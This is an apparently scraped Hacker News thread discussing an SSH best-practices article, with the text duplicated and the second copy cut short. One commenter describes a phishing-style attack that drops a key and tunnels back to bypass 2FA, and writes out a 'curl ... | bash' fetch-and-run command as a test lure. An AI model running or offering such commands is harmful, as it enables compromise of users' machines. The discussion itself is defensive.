14 ms·

SSH: Best practices

284 points by cujanovic 11y ago

RRRA 11y ago
Has anyone used ProxyCommand to chain through 2 or more gateways and has a config example to show?
- glandium 11y ago
  I had one a long time ago, from before ssh -W, which I updated for the occasion: Host <asterisk>+<asterisk> ProxyCommand ssh -W $(echo %h | sed 's/^.<asterisk>+//') $(echo %h | sed 's/+[^+]<asterisk>$//;s/$[^+%%]<asterisk>$%%$[^+]<asterisk>$$/\2 -l \1/;s/:$[^:+]<asterisk>$$/ -p \1/') Use with: $ ssh login1%host1:port1+login2%host2:port2+login3%host3:port3+host4:port4 -l login4 https://glandium.org/blog/?p=3631 https://glandium.org/blog/?p=3631 Edit: there is apparently no way to escape asterisks, so I replaced them with <asterisk> (hopefully I didn't miss one), but you'd better check out the link.
- Piskvorrr 11y ago
  Essentially, this: http://sshmenu.sourceforge.net/articles/transparent-mulithop.html http://sshmenu.sourceforge.net/articles/transparent-mulithop...
heinrichhartman 11y ago
Cached version https://webcache.googleusercontent.com/search?q=cache:BZ3ZeqaqyLAJ:https://blog.0xbadc0de.be/archives/300+&cd=1&hl=de&ct=clnk&gl=de https://webcache.googleusercontent.com/search?q=cache:BZ3Zeq...
- fareesh 11y ago
  yeah - the link seems to be hugged to death or something
  - aris_ada 11y ago
    I just noticed this an hour ago. Bad config on the server and too little ram. The link should work better now.
akerro 11y ago
I bookmarked something similar: https://stribika.github.io/2015/01/04/secure-secure-shell.html https://stribika.github.io/2015/01/04/secure-secure-shell.ht...
- majewsky 11y ago
  The same link is somewhere in this guide, too. This guide has a broader scope, though.
r0muald 11y ago
I thought using per-service SSH keys was an useful mitigation against e.g. GitHub public keys being exposed: - https://blog.benjojo.co.uk/post/auditing-github-users-keys https://blog.benjojo.co.uk/post/auditing-github-users-keys - http://arstechnica.com/security/2015/06/assume-your-github-account-is-hacked-users-with-weak-crypto-keys-told/ http://arstechnica.com/security/2015/06/assume-your-github-a... - https://news.ycombinator.com/item?id=9645703 https://news.ycombinator.com/item?id=9645703
- clinta 11y ago
  Public keys being exposed isn't something I think needs to be mitigated. That's the whole point, they're public.
  - FiloSottile 11y ago
    Security is not binary. In this case it depends on whether disclosing your identity to the servers you connect to is a problem in your threat model. Saying "they are public so it's ok" is technical oversimplification.
    - clinta 11y ago
      It's not binary, but if your security depends on your public key being secret, something else must be wrong. It's the same as someone who depends on their IP addresses being secret. That's not something you can count on, and your security would be better served by designing your infrastructure with the assumption that it's totally public information.
      - RaleyField 11y ago
        > public key The word public is just a name for a kind of key defined in the field of cryptography and doesn't necessary hold the same connotation in application protocols that use public key cryptography. One example would be ephemeral public key that would have to be kept private to be able to retain forward secrecy (although in such schemes DH is usually used). Consider as well this situation that is closer to SSH. Suppose that you are MS dev working on NT kernel that by night also want to anonymously contribute to Linux. Obviously both camps would not like you to do that for fear of copyright infringement but OpenSSH shouldn't betray you anonymity that could be reasonably expected. It's imaginable that only one public crypto key pair would be needed to authenticate the server if password authentication is used for the client. The user doesn't expect the client software to silently generate key pair, much less that the same pair is used for every domain because the pair is not strictly needed. Although the user should inform himself how the software works a good software similarly shouldn't work in ways that are reasonably unexpected to people that are familiar with the domain. Ideally, if OpenSSH developers can't really foresee it working any other way OpenSSH should at least explicitly inform the user which public key will be used in connection before it is established in order to not assume the consent of poorly informed users.
LinuxBender 11y ago
The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up ssh using that key and tunnel back to my host. Now I have full control of your secure (banking, government, eCommerce) environment, completely bypassing 2 factor authentication. Just one link to one of your email distros and up to 10% of your folks will run it. Combine this with sudo credential caching and now I have root on all of your systems without having to bother finding vulns. Thx to Prandium for the demo of this simple social engineering exploit.
- Hello71 11y ago
  so... your point is "don't run untrusted code"?
  - whorleater 11y ago
    "Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".
  - LinuxBender 11y ago
    You would think that is common sense, right? :-) I so wish more people thought like you. Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like: curl -s https://tinyvpn.org/ | bash Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.
  - pmoriarty 11y ago
    You run untrusted code whenever your browser loads a web page that uses javascript. With more and more of the web requiring javascript to work, running untrusted code becomes less and less a real option if you want to get any work done. Arguably, plain HTML is also untrusted code, and I certainly don't trust every single one of the authors of my operating system and all of the os-level utilities and all the applications that I use, especially not Microsoft or Apple. But I'm forced to use them for work. A year or two ago there was some hoopla about Canonical collecting some information about Ubuntu's users or something like that (don't remember exactly) and a lot of people were up in arms about how they don't trust Canonical. Canonical's reply was one of the most insightful I've ever read on the internet. They said something like, "um... but we've got root". That's a great point. The makers of your OS, the builders of your apps, they have a lot of power over you that you grant them simply by using their stuff. You're effectively trusting them, even if you don't trust them. You could react by not using anything that anyone you don't trust writes, or by thoroughly auditing all the source code of everything you use (you do use only open-source software which can be audited by you directly, right?). But this is not really practical for 99% of everyone on the planet.
n1000 11y ago
Still a big fan of the BetterCrypto guide: https://bettercrypto.org/ https://bettercrypto.org/
- infodroid 11y ago
  I'm not sure what there is to recommend about this Applied Crypto Hardening guide, which seems to be in draft form. The section on SSH is just a couple of snippets from sshd config files with no explanation about the choice of parameters. And copy-pasting config file snippets from a random guide book hardly consistutes security best practice.
STRML 11y ago
SSH's new AuthenticationMethods directive is extremely useful for pairing SSH keys with a password and/or 2FA. You should absolutely use keys everywhere, and encourage your users to encrypt their keys, but enforcing a password as well ensures that logins are "something you have" (the SSH key) and "something you know" (the password) as a sort of 2FA. As a cherry on top you can put the password in LDAP or RADIUS server and hook up traditional 2FA (Google Auth, Yubikey, Email, SMS) for that legendary 3FA (ah... "something (else) you have"). Sounds hokey, but defense is best in depth.
- pascalmemories 11y ago
  Something you have plus 2 things you know does not turn 2FA into 3FA. It's still 2FA - it's just somethings you know instead of something you know. 3 FA is : * Something you have (normally one OR MORE user IDs) * Something you know (normally the associated password or passwords for the user ID(s)) * Something you are (normally biometric) [edit: technically, it's multi-factor when using multiple user/passwords - here's a useful link https://pciguru.wordpress.com/2010/05/01/one-two-and-three-factor-authentication/ https://pciguru.wordpress.com/2010/05/01/one-two-and-three-f...]
  - pmoriarty 11y ago
    I look at biometrics as just another category of of the 2nd factor: things you have. You have your fingers. You have your eyes. In fiction and movies, these things that you have which could be taken from you (your fingers severed, your eyes plucked out) and used for getting past biometric scanners. In real life there are easier, stealthier, and less gruesome methods for getting those things: just copy them. (gummy bear fingerprints, anyone? [1][2][3]) [1] - http://www.theregister.co.uk/2002/05/16/gummi_bears_defeat_fingerprint_sensors/ http://www.theregister.co.uk/2002/05/16/gummi_bears_defeat_f... [2] - http://www.cryptome.org/gummy.htm http://www.cryptome.org/gummy.htm [3] - http://www.it.slashdot.org/story/10/10/28/0124242/aussie-kids-foil-finger-scanner-with-gummi-bears http://www.it.slashdot.org/story/10/10/28/0124242/aussie-kid...
    - aris_ada 11y ago
noondip 11y ago
Here's a brief guide for setting up SSH with YubiKey as a smartcard which complements this article nicely - https://github.com/drduh/YubiKey-Guide https://github.com/drduh/YubiKey-Guide
- hobarrera 11y ago
  Looks like I'd need to configure gpg to use it locally first. One of the main uses of smartcards is to use it on other machines (eg: not mine). What's the added benefit of adding one if I'm logging in from my local machine?
  - rkeene2 11y ago
    For what it's worth, most smartcard applets don't typically store GPG objects but RSA keys (and also usually X.509 certificate objects that go along with them, as well as less-used RSA public key objects). I use PIV (NIST SP 800-73) compliant smartcards with a PKCS#11 module I wrote (CACKey), it just works with "ssh-add -s /path/to/libcackey.so", then SSH away. Additionally, there is a fork of OpenSSH called PKIXSSH that adds X.509 certificate support (in addition to the relatively recent, compared to the fork, support for OpenSSH certificates) and then I can authenticate to remote systems using my certificate -- which is helpful when my card is replaced, or if my certificate is revoked the CRLs can be used.
- tra3 11y ago
  Thanks for the link! I wish this was a little bit easier though. One of my coworkers still prefers a password list in notepad vs key-based authentication. This looks quite complicated.
mfontani 11y ago
How about https://github.com/ccontavalli/ssh-ident https://github.com/ccontavalli/ssh-ident ? Is that still a "best practice", since the author doesn't mention it in this blog entry?
- aris_ada 11y ago
  I didn't know that tool. Having different agents for different projects may be useful, especially if you're using Agent Forwarding. I don't like that you have to alias ssh or replace /usr/xxx/bin/ssh with a symlink to make it work.
antoniomika 11y ago
I remember reading about a tool Instagram used for SSH management, but that might not be a "best practice". (http://instagram-engineering.tumblr.com/post/11399488246/simplifying-ec2-ssh-connections http://instagram-engineering.tumblr.com/post/11399488246/sim...)
jsn 11y ago
The part about gateway hosts says: > Host B > ProxyCommand ssh -W B:22 A That could be improved: > Host B > ProxyCommand ssh -W %h:%p A Then you can use wildcards for B ("Host 10.11.12.*"), and use custom ports ("ssh -p 2222 10.11.12.13").
- ptman 11y ago
  I just read this https://glandium.org/blog/?p=3631 https://glandium.org/blog/?p=3631
carlisle_ 11y ago
>Do not SSH cross-server This doesn't make sense. You can safely setup SSH agent forwarding to ssh from server to server without storing your ssh private key anywhere but your local host.
- sitharus 11y ago
  If the server you're forwarding your agent to is compromised it can now talk to your agent. This point could also be 'assume gateway servers are compromised'.
  - carlisle_ 11y ago
    If your gateway servers are compromised to this degree you have a much larger problem than your ssh agent being compromised.
  - yeukhon 11y ago
    But the article suggests to use ssh-agent.
hobarrera 11y ago
What amazes me about these articles is that they keep recommending NOT to use password-based logins for SSH: Why are people still using that?
- Piskvorrr 11y ago
  People are still using FTP, for what it's worth. In other words, the same old: ignorance ("we've always done it like this") and/or apathy ("meh, we're not a cracker target").
bisby 11y ago
Weird, where I work we're not allowed to use key auth. They claim it's for PCI since they can't enforce that the keys are passworded/encrypted.
- aris_ada 11y ago
  Compliance has very little to do with actual security unfortunately...
  - technion 11y ago
    I've worked with an organisation with the following rules. A user wants to write an SQL query. The user writes it in notepad or whatever, and saves it in a .sql file. The user then will right click on this file they just created, and hit "Scan with McAfee antivirus". If the .sql file they just created comes up clean, they can then open it in SQL Manager and execute it. If they want to then adjust the query, they have to close the file and start over, running the scan again. People can and have been fired over getting lazy about that process. There's a security consultant with a clipboard who firmly believes this improves security.
    - aris_ada 11y ago
      I facepalmed so hard my forehead hurts
- skarap 11y ago
  Ironically, things done for PCI/ISO27K compliance very often decrease security. Maybe not always, maybe not everywhere, but at least that's my experience with the companies I worked at and is also in line with the stories I heard about other companies. Quite recently: Security was concerned about enforcing ssh key rotation and was pushing for sysops to generate and store (obviously - unencrypted) private keys for all users on a central jump host and provide users access to that host using passwords (for which enforcing lifecycle policies is easier).
  - LinuxBender 11y ago
rodionos 11y ago
Org question. We use a shared key and a shared account to manage our servers. When someone leaves the team we have to regenerate the key for the account. I'm sure it's not recommended, so what's a good way to manage ssh access in a team setting? I'd like avoid sharing the key so that access can be revoked from user without regenerating the key for everyone?
- aris_ada 11y ago
  Have each team member generate his own key. Copy everyone's key in a folder and have a script to generate an authorized_keys file. Use puppet or chef (or anything else) to dispatch the authorized_keys on every server. A single shared key is a security disaster waiting to happen.
  - throwaway2048 11y ago
    did you read the article? ssh certificates with revokation are a much more workable solution
    - aris_ada 11y ago
      I wrote the article.
    - Piskvorrr 11y ago
      There's the up-front cost of setting them up, and perhaps tool support (pubkey/agent auth is widely supported; X.509...not so much).
      - throwaway2048 11y ago
        ssh certificates are not x.509, though they are designed around a PKI.
        Piskvorrr 11y ago
        Thanks for the correction.
hackercomplex 11y ago
Developer laptop compromise is probably the biggest security risk that any startup company faces, because the developer laptop is an uncontrolled environment with a lot of "attack surface" which may have been previously compromised. In my view there are emerging best practices in this area. There are two ways to reduce this risk and both are controversial: 1. Force developers to only develop software using an SSH terminal (by first connecting to a developer VPN via 2FA and then sshing into their secure development environment where may use tools like tmux, vi, and their programming language of choice to get the job done). In this scheme copying source codes or security credentials to a developer laptop is considered a violation and becomes a fireable offense no questions asked. 2. Require all developers to run a private USB-bootable linux desktop shell which is known to be clean. In this case they remain free to utilize modern desktop editors and code emulators (such as android simulator). It's even possible to setup secure persistence in these environments so that the developer's browser configuration, network/vpn config, dotfiles, apt installs, etc are stored on an encrypted filesystem on USB device. The reason why a USB image is preferred is because it's annoying to ask a new employee to repartiation her personal harddrive. My suspicion is that as more of the tools developers need to rely on are cloud-based: (example: github, cloud9, jenkins, etc) we will eventually see these modern best practices against client-side attacks being adopted more broadly. The quality and reliability of hot-bootable ultra secure cloud operating systems has gone thru the roof over the past couple of years and I assume this trend will only accellerate due to the fact that Google Chrome OS continues to penerate more of the market and consumers are getting used to it. TLDR: ssh keys existing on developer harddrives is an info-sec anti-pattern, they should only ever exist in system memory or in an encrypted partition on a USB stick.
- EvanPlaice 11y ago
  3. Never grand direct SSH to access the the staging/production environment. Automate the build and deployment environment on a system that developers don't have direct access. Instead of pushing changes, the bot pulls a specified release branch, builds, tests, and deploys the code. All without human interaction. If malicious code were somehow introduced from a developer's environment, it would be recorded and reflected in the commit history. AFAIK, that's how GitHub manages deployments via HubBot. See https://www.youtube.com/watch?v=NST3u-GjjFw https://www.youtube.com/watch?v=NST3u-GjjFw. ----- To take things a step further, public-facing environments should be made immutable wherever possible. With the entire system being built and released as a whole. Docker alleviates some of the complexity and overhead but I think this space is where Unikernels have a lot of potential to shine. There's a very good talk about how the Wunderlist team used chaos and frequent destruction of their envronments to overcome fear and uncertainty here. https://www.youtube.com/watch?v=RrX_28s70ww&app=desktop https://www.youtube.com/watch?v=RrX_28s70ww&app=desktop. Emphasis being placed on the the frequent disposal and recreation of environments rather than building long-running persistent environments. This setup probably won't work for long-lived systems (ex databases). In those cases, access via a transient environment like a USB bootable OS would be ideal to prevent persistent viruses/trojans. Ironically, the best current options are security-focused distros like KaliLinux that put a special emphasis on avoiding persistent state. Maybe one day soon we'll see an admin-focused OS that better fits this role.
rphlx 11y ago
Also, move sshd to a random & rarely-used TCP port. Won't help much against a skilled & determined targeted attack, however the "security through obscurity" is not entirely worthless. Using something other than 22 is quite effective at avoiding spray-n-pray scans and exploits. For extra credit, set up port knocking.
- hackercomplex 11y ago
  Choosing to only bind SSH to a VPN interface is another option. If you can utilize a VPN that incorporates 2FA then that's even better. Projects such as zerotier are going a long way towards making this kind of thing easier to setup.
  - eeZi 11y ago
    Then the VPN breaks, and you're out of luck.
sapereaude 11y ago
Great post! BTW, you can also now use hardware devices (like TREZOR and KeepKey) to perform "ssh-agent" functionality in hardware, with minimal setup work. Blog post: https://medium.com/@satoshilabs/trezor-firmware-1-3-4-enables-ssh-login-86a622d7e609 https://medium.com/@satoshilabs/trezor-firmware-1-3-4-enable... Source code: https://github.com/romanz/trezor-agent https://github.com/romanz/trezor-agent (the README has several demo screencasts).
gdamjan1 11y ago
It would be a cool to have a `forward agent connection once` option to ssh. when I know I'd have to `git pull` once on the server but don't need the agent forwarding after that.
eeZi 11y ago
Good advice, except the "remove all system passwords" part. Do not do this. It's a really bad idea. There are occasions where you do need to authenticate using a password, most importantly on the local console - what if your server lost network access? And that sudo workaround is bad since it requires agent key forwarding, which you shouldn't use for the reasons the author himself noted a few paragraphs up.
balgan 11y ago
And yet we still see things like https://blog.binaryedge.io/2015/11/10/ssh/ https://blog.binaryedge.io/2015/11/10/ssh/
tbe 11y ago
> f=$(mktemp) && ssh-keyscan korell > $f && ssh-keygen -l -f $f && rm $f > Unfortunately ssh-keygen does not support input from stdin, so this example is slightly more complicated than it should. Any shell that supports process substitution can fix this for you with something like; ssh-keygen -l -f <(ssh-keyscan korell)

SSH: Best practices

284 points by cujanovic 11y ago

RRRA 11y ago

Has anyone used ProxyCommand to chain through 2 or more gateways and has a config example to show?

glandium 11y ago
I had one a long time ago, from before ssh -W, which I updated for the occasion: Host <asterisk>+<asterisk> ProxyCommand ssh -W $(echo %h | sed 's/^.<asterisk>+//') $(echo %h | sed 's/+[^+]<asterisk>$//;s/$[^+%%]<asterisk>$%%$[^+]<asterisk>$$/\2 -l \1/;s/:$[^:+]<asterisk>$$/ -p \1/') Use with: $ ssh login1%host1:port1+login2%host2:port2+login3%host3:port3+host4:port4 -l login4 https://glandium.org/blog/?p=3631 https://glandium.org/blog/?p=3631 Edit: there is apparently no way to escape asterisks, so I replaced them with <asterisk> (hopefully I didn't miss one), but you'd better check out the link.
Piskvorrr 11y ago
Essentially, this: http://sshmenu.sourceforge.net/articles/transparent-mulithop.html http://sshmenu.sourceforge.net/articles/transparent-mulithop...

heinrichhartman 11y ago

Cached version https://webcache.googleusercontent.com/search?q=cache:BZ3ZeqaqyLAJ:https://blog.0xbadc0de.be/archives/300+&cd=1&hl=de&ct=clnk&gl=de https://webcache.googleusercontent.com/search?q=cache:BZ3Zeq...

fareesh 11y ago
yeah - the link seems to be hugged to death or something
- aris_ada 11y ago
  I just noticed this an hour ago. Bad config on the server and too little ram. The link should work better now.

akerro 11y ago

I bookmarked something similar: https://stribika.github.io/2015/01/04/secure-secure-shell.html https://stribika.github.io/2015/01/04/secure-secure-shell.ht...

majewsky 11y ago
The same link is somewhere in this guide, too. This guide has a broader scope, though.

r0muald 11y ago

I thought using per-service SSH keys was an useful mitigation against e.g. GitHub public keys being exposed: - https://blog.benjojo.co.uk/post/auditing-github-users-keys https://blog.benjojo.co.uk/post/auditing-github-users-keys - http://arstechnica.com/security/2015/06/assume-your-github-account-is-hacked-users-with-weak-crypto-keys-told/ http://arstechnica.com/security/2015/06/assume-your-github-a... - https://news.ycombinator.com/item?id=9645703 https://news.ycombinator.com/item?id=9645703

clinta 11y ago
Public keys being exposed isn't something I think needs to be mitigated. That's the whole point, they're public.
- FiloSottile 11y ago
  Security is not binary. In this case it depends on whether disclosing your identity to the servers you connect to is a problem in your threat model. Saying "they are public so it's ok" is technical oversimplification.
  - clinta 11y ago
    It's not binary, but if your security depends on your public key being secret, something else must be wrong. It's the same as someone who depends on their IP addresses being secret. That's not something you can count on, and your security would be better served by designing your infrastructure with the assumption that it's totally public information.
    - RaleyField 11y ago
      > public key The word public is just a name for a kind of key defined in the field of cryptography and doesn't necessary hold the same connotation in application protocols that use public key cryptography. One example would be ephemeral public key that would have to be kept private to be able to retain forward secrecy (although in such schemes DH is usually used). Consider as well this situation that is closer to SSH. Suppose that you are MS dev working on NT kernel that by night also want to anonymously contribute to Linux. Obviously both camps would not like you to do that for fear of copyright infringement but OpenSSH shouldn't betray you anonymity that could be reasonably expected. It's imaginable that only one public crypto key pair would be needed to authenticate the server if password authentication is used for the client. The user doesn't expect the client software to silently generate key pair, much less that the same pair is used for every domain because the pair is not strictly needed. Although the user should inform himself how the software works a good software similarly shouldn't work in ways that are reasonably unexpected to people that are familiar with the domain. Ideally, if OpenSSH developers can't really foresee it working any other way OpenSSH should at least explicitly inform the user which public key will be used in connection before it is established in order to not assume the consent of poorly informed users.

LinuxBender 11y ago

The article didn't make mention multiplexing and MaxSessions defaults in OpenSSH. The default is 10 which means you auth once, and all subsequent logins are without auth and without syslog entries. If you manage secure systems and have 2FA, this allows bypassing 2FA and logging. All I have to do is trick your folks into testing a ruby / python / perl / bash script for me that will drop a key on your machine, fire up ssh using that key and tunnel back to my host. Now I have full control of your secure (banking, government, eCommerce) environment, completely bypassing 2 factor authentication. Just one link to one of your email distros and up to 10% of your folks will run it. Combine this with sudo credential caching and now I have root on all of your systems without having to bother finding vulns. Thx to Prandium for the demo of this simple social engineering exploit.

Hello71 11y ago
so... your point is "don't run untrusted code"?
- whorleater 11y ago
  "Don't run untrusted code" has been a basic common sense for people since the dawn of the internet, but that doesn't mean you can follow it 100% of the time. It's good to be aware of potential attack vectors, and not just sweep them under the rug of "don't be an idiot".
- LinuxBender 11y ago
  You would think that is common sense, right? :-) I so wish more people thought like you. Get permission from your privacy and legal team before you do this of course. Write a small script in whatever language you like. Encode a ... gosh, don't even get that fancy. Just email them something silly from an external email address like: curl -s https://tinyvpn.org/ | bash Listen for how many mac users around you in your company suddenly start saying, "How do I stop this??" That one is meant for people that don't lock their computers, but the same applies.
- pmoriarty 11y ago
  You run untrusted code whenever your browser loads a web page that uses javascript. With more and more of the web requiring javascript to work, running untrusted code becomes less and less a real option if you want to get any work done. Arguably, plain HTML is also untrusted code, and I certainly don't trust every single one of the authors of my operating system and all of the os-level utilities and all the applications that I use, especially not Microsoft or Apple. But I'm forced to use them for work. A year or two ago there was some hoopla about Canonical collecting some information about Ubuntu's users or something like that (don't remember exactly) and a lot of people were up in arms about how they don't trust Canonical. Canonical's reply was one of the most insightful I've ever read on the internet. They said something like, "um... but we've got root". That's a great point. The makers of your OS, the builders of your apps, they have a lot of power over you that you grant them simply by using their stuff. You're effectively trusting them, even if you don't trust them. You could react by not using anything that anyone you don't trust writes, or by thoroughly auditing all the source code of everything you use (you do use only open-source software which can be audited by you directly, right?). But this is not really practical for 99% of everyone on the planet.

n1000 11y ago

Still a big fan of the BetterCrypto guide: https://bettercrypto.org/ https://bettercrypto.org/

infodroid 11y ago
I'm not sure what there is to recommend about this Applied Crypto Hardening guide, which seems to be in draft form. The section on SSH is just a couple of snippets from sshd config files with no explanation about the choice of parameters. And copy-pasting config file snippets from a random guide book hardly consistutes security best practice.

STRML 11y ago

SSH's new AuthenticationMethods directive is extremely useful for pairing SSH keys with a password and/or 2FA. You should absolutely use keys everywhere, and encourage your users to encrypt their keys, but enforcing a password as well ensures that logins are "something you have" (the SSH key) and "something you know" (the password) as a sort of 2FA. As a cherry on top you can put the password in LDAP or RADIUS server and hook up traditional 2FA (Google Auth, Yubikey, Email, SMS) for that legendary 3FA (ah... "something (else) you have"). Sounds hokey, but defense is best in depth.

pascalmemories 11y ago
Something you have plus 2 things you know does not turn 2FA into 3FA. It's still 2FA - it's just somethings you know instead of something you know. 3 FA is : * Something you have (normally one OR MORE user IDs) * Something you know (normally the associated password or passwords for the user ID(s)) * Something you are (normally biometric) [edit: technically, it's multi-factor when using multiple user/passwords - here's a useful link https://pciguru.wordpress.com/2010/05/01/one-two-and-three-factor-authentication/ https://pciguru.wordpress.com/2010/05/01/one-two-and-three-f...]
- pmoriarty 11y ago
  I look at biometrics as just another category of of the 2nd factor: things you have. You have your fingers. You have your eyes. In fiction and movies, these things that you have which could be taken from you (your fingers severed, your eyes plucked out) and used for getting past biometric scanners. In real life there are easier, stealthier, and less gruesome methods for getting those things: just copy them. (gummy bear fingerprints, anyone? [1][2][3]) [1] - http://www.theregister.co.uk/2002/05/16/gummi_bears_defeat_fingerprint_sensors/ http://www.theregister.co.uk/2002/05/16/gummi_bears_defeat_f... [2] - http://www.cryptome.org/gummy.htm http://www.cryptome.org/gummy.htm [3] - http://www.it.slashdot.org/story/10/10/28/0124242/aussie-kids-foil-finger-scanner-with-gummi-bears http://www.it.slashdot.org/story/10/10/28/0124242/aussie-kid...
  - aris_ada 11y ago

noondip 11y ago

Here's a brief guide for setting up SSH with YubiKey as a smartcard which complements this article nicely - https://github.com/drduh/YubiKey-Guide https://github.com/drduh/YubiKey-Guide

hobarrera 11y ago
Looks like I'd need to configure gpg to use it locally first. One of the main uses of smartcards is to use it on other machines (eg: not mine). What's the added benefit of adding one if I'm logging in from my local machine?
- rkeene2 11y ago
  For what it's worth, most smartcard applets don't typically store GPG objects but RSA keys (and also usually X.509 certificate objects that go along with them, as well as less-used RSA public key objects). I use PIV (NIST SP 800-73) compliant smartcards with a PKCS#11 module I wrote (CACKey), it just works with "ssh-add -s /path/to/libcackey.so", then SSH away. Additionally, there is a fork of OpenSSH called PKIXSSH that adds X.509 certificate support (in addition to the relatively recent, compared to the fork, support for OpenSSH certificates) and then I can authenticate to remote systems using my certificate -- which is helpful when my card is replaced, or if my certificate is revoked the CRLs can be used.
tra3 11y ago
Thanks for the link! I wish this was a little bit easier though. One of my coworkers still prefers a password list in notepad vs key-based authentication. This looks quite complicated.

mfontani 11y ago

How about https://github.com/ccontavalli/ssh-ident https://github.com/ccontavalli/ssh-ident ? Is that still a "best practice", since the author doesn't mention it in this blog entry?

aris_ada 11y ago
I didn't know that tool. Having different agents for different projects may be useful, especially if you're using Agent Forwarding. I don't like that you have to alias ssh or replace /usr/xxx/bin/ssh with a symlink to make it work.

antoniomika 11y ago

I remember reading about a tool Instagram used for SSH management, but that might not be a "best practice". (http://instagram-engineering.tumblr.com/post/11399488246/simplifying-ec2-ssh-connections http://instagram-engineering.tumblr.com/post/11399488246/sim...)

jsn 11y ago

The part about gateway hosts says: > Host B > ProxyCommand ssh -W B:22 A That could be improved: > Host B > ProxyCommand ssh -W %h:%p A Then you can use wildcards for B ("Host 10.11.12.*"), and use custom ports ("ssh -p 2222 10.11.12.13").

ptman 11y ago
I just read this https://glandium.org/blog/?p=3631 https://glandium.org/blog/?p=3631

carlisle_ 11y ago

>Do not SSH cross-server This doesn't make sense. You can safely setup SSH agent forwarding to ssh from server to server without storing your ssh private key anywhere but your local host.

sitharus 11y ago
If the server you're forwarding your agent to is compromised it can now talk to your agent. This point could also be 'assume gateway servers are compromised'.
- carlisle_ 11y ago
  If your gateway servers are compromised to this degree you have a much larger problem than your ssh agent being compromised.
- yeukhon 11y ago
  But the article suggests to use ssh-agent.

hobarrera 11y ago

What amazes me about these articles is that they keep recommending NOT to use password-based logins for SSH: Why are people still using that?

Piskvorrr 11y ago
People are still using FTP, for what it's worth. In other words, the same old: ignorance ("we've always done it like this") and/or apathy ("meh, we're not a cracker target").

bisby 11y ago

Weird, where I work we're not allowed to use key auth. They claim it's for PCI since they can't enforce that the keys are passworded/encrypted.

aris_ada 11y ago
Compliance has very little to do with actual security unfortunately...
- technion 11y ago
  I've worked with an organisation with the following rules. A user wants to write an SQL query. The user writes it in notepad or whatever, and saves it in a .sql file. The user then will right click on this file they just created, and hit "Scan with McAfee antivirus". If the .sql file they just created comes up clean, they can then open it in SQL Manager and execute it. If they want to then adjust the query, they have to close the file and start over, running the scan again. People can and have been fired over getting lazy about that process. There's a security consultant with a clipboard who firmly believes this improves security.
  - aris_ada 11y ago
    I facepalmed so hard my forehead hurts
skarap 11y ago
Ironically, things done for PCI/ISO27K compliance very often decrease security. Maybe not always, maybe not everywhere, but at least that's my experience with the companies I worked at and is also in line with the stories I heard about other companies. Quite recently: Security was concerned about enforcing ssh key rotation and was pushing for sysops to generate and store (obviously - unencrypted) private keys for all users on a central jump host and provide users access to that host using passwords (for which enforcing lifecycle policies is easier).
- LinuxBender 11y ago

rodionos 11y ago

Org question. We use a shared key and a shared account to manage our servers. When someone leaves the team we have to regenerate the key for the account. I'm sure it's not recommended, so what's a good way to manage ssh access in a team setting? I'd like avoid sharing the key so that access can be revoked from user without regenerating the key for everyone?

aris_ada 11y ago
Have each team member generate his own key. Copy everyone's key in a folder and have a script to generate an authorized_keys file. Use puppet or chef (or anything else) to dispatch the authorized_keys on every server. A single shared key is a security disaster waiting to happen.
- throwaway2048 11y ago
  did you read the article? ssh certificates with revokation are a much more workable solution
  - aris_ada 11y ago
    I wrote the article.
  - Piskvorrr 11y ago
    There's the up-front cost of setting them up, and perhaps tool support (pubkey/agent auth is widely supported; X.509...not so much).
    - throwaway2048 11y ago
      ssh certificates are not x.509, though they are designed around a PKI.
      - Piskvorrr 11y ago
        Thanks for the correction.

hackercomplex 11y ago

Developer laptop compromise is probably the biggest security risk that any startup company faces, because the developer laptop is an uncontrolled environment with a lot of "attack surface" which may have been previously compromised. In my view there are emerging best practices in this area. There are two ways to reduce this risk and both are controversial: 1. Force developers to only develop software using an SSH terminal (by first connecting to a developer VPN via 2FA and then sshing into their secure development environment where may use tools like tmux, vi, and their programming language of choice to get the job done). In this scheme copying source codes or security credentials to a developer laptop is considered a violation and becomes a fireable offense no questions asked. 2. Require all developers to run a private USB-bootable linux desktop shell which is known to be clean. In this case they remain free to utilize modern desktop editors and code emulators (such as android simulator). It's even possible to setup secure persistence in these environments so that the developer's browser configuration, network/vpn config, dotfiles, apt installs, etc are stored on an encrypted filesystem on USB device. The reason why a USB image is preferred is because it's annoying to ask a new employee to repartiation her personal harddrive. My suspicion is that as more of the tools developers need to rely on are cloud-based: (example: github, cloud9, jenkins, etc) we will eventually see these modern best practices against client-side attacks being adopted more broadly. The quality and reliability of hot-bootable ultra secure cloud operating systems has gone thru the roof over the past couple of years and I assume this trend will only accellerate due to the fact that Google Chrome OS continues to penerate more of the market and consumers are getting used to it. TLDR: ssh keys existing on developer harddrives is an info-sec anti-pattern, they should only ever exist in system memory or in an encrypted partition on a USB stick.

EvanPlaice 11y ago
3. Never grand direct SSH to access the the staging/production environment. Automate the build and deployment environment on a system that developers don't have direct access. Instead of pushing changes, the bot pulls a specified release branch, builds, tests, and deploys the code. All without human interaction. If malicious code were somehow introduced from a developer's environment, it would be recorded and reflected in the commit history. AFAIK, that's how GitHub manages deployments via HubBot. See https://www.youtube.com/watch?v=NST3u-GjjFw https://www.youtube.com/watch?v=NST3u-GjjFw. ----- To take things a step further, public-facing environments should be made immutable wherever possible. With the entire system being built and released as a whole. Docker alleviates some of the complexity and overhead but I think this space is where Unikernels have a lot of potential to shine. There's a very good talk about how the Wunderlist team used chaos and frequent destruction of their envronments to overcome fear and uncertainty here. https://www.youtube.com/watch?v=RrX_28s70ww&app=desktop https://www.youtube.com/watch?v=RrX_28s70ww&app=desktop. Emphasis being placed on the the frequent disposal and recreation of environments rather than building long-running persistent environments. This setup probably won't work for long-lived systems (ex databases). In those cases, access via a transient environment like a USB bootable OS would be ideal to prevent persistent viruses/trojans. Ironically, the best current options are security-focused distros like KaliLinux that put a special emphasis on avoiding persistent state. Maybe one day soon we'll see an admin-focused OS that better fits this role.

rphlx 11y ago

